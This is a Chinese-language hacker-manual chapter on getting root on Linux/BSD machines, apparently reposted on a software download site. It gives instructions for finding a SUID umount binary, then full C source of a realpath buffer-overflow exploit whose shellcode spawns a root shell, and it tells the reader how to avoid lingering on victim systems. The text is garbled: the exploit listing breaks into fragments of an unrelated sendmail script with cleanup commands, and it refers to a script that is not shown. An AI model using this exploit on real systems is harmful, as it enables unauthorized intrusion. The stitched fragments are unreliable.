获取root帐户

Bugs(一些漏洞)

不同的程序里都有很多Bug可利用来取得root权限.Bug可能是安装在系统上的一个游戏,或者甚至是sendmail程序.如果他们没有定期升级程序,你可以确信肯定可以入侵(即使现在不行,也是很快就行).

我会在此提供一些主要的Exploit(这个词动词是"利用、使用、开发"的意思",名词其实和bug意思差不多:译注)和Bugs,其它不大常用的则在附录里介绍.我会给你详细的英文条款,让你能取得系统的root权限.但请务必在行动之前先完整阅读完下节和本手册,以确定你以正确方式开始,并且不会搞得在系统里呆得太久.


Exploits(利用漏洞)

Umount/mount Exploit

/bin目录下寻找名为Umount(或mount)的文件,如果你找不到,用下面的命令搜索:

find / -name umount -print -dev

(你可用同样的方式寻找任何文件)

进入该文件所在目录并且:ls -al um*

如果文件有SUIDs"标志,你就可能拿到root

SUID s"使文件属主(这里是root)有rws权限。你要寻找的就是这个"s".

看这儿:

victim:/bin# ls -al um*

-rwsr-sr-x   1 root         8888 Mar 21  1995 umount

victim:/bin#

 

通过编译下面的文件我们就可以拿到此机器的root

umount.c
------ cut here

/* sno.c : Linux realpath exploit
 * Syntax: ./sno N
 *         mount $WOOT
 *    OR  umount $WOOT
 * N is some number which seems to differ between 4 & 8, if your number is
 * too big, you will get a mount error, if it is too small, it will seg
 * fault.  Figure it out.  (Sometimes N=0 for mount)
 * If you use mount, first thing to do once you get the root shell is rm
 * /etc/mtab~, if this file exists you can't root with mount until it is
 * removed.
 *
 *
 *                                          -ReDragon
 */
#define SIZE 1024

   long get_esp(void)
   {
   __asm__("movl %esp,%eax\n");
   }

   main(int argc, char **argv)
   {
   char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
   int a,r;
   char *ptr;
   long *addr_ptr;
   char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
   char *exec_ptr = execshell;

   r=atoi(argv[1]);
   ptr = env;
   memcpy(ptr,"WOOT=",5); /* set environment variable to use */
   ptr += 5;

   for(a=0;a<SIZE+4-strlen(execshell)-r;a++)  /* pad front with NOPs */
      *(ptr++) = 0x90;
   while (*exec_ptr)
      *(ptr++) = *(exec_ptr++);
   addr_ptr = (long *)ptr;
   *(addr_ptr++) = get_esp()+1139;  /* 0xbffffc01 */

   ptr = (char *) addr_ptr;
   *ptr = 0; /* must end with null byte to terminate string */
   putenv(env);
   system("/bin/mount $WOOT");
}

----------- cut he_leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
cd /tmp
sh
------------ cut here


chmod为文档加上运行权限(+x):

chmod +x sm.sh

然后:

1.运行此文件

2.它把你带到/tmp目录中

3.输入ls -al 看在那里是否有SUID sh 文件。如果有,用whoami看自己是否是root,如果是的话,就运行./sh文件,这回你可看一看你是不是root了;)

我会在附录里放更多的脚本程序,但目前这是取得linuxBSD上的root权限的最好方法。如果你需要其它的BSD里的exploit(可利用漏洞),可试一试附录里的crontab exploit for BSD




月光软件源码下载编程文档电脑教程网站优化网址导航网络文学游戏天地生活休闲写作范文安妮宝贝站内搜索
电脑技术编程开发网络专区谈天说地情感世界游戏元素分类游戏热门游戏体育运动手机专区业余爱好影视沙龙
音乐天地数码广场教育园地科学大观古今纵横谈股论金人文艺术医学保健动漫图酷二手专区地方风情各行各业

月光软件站·版权所有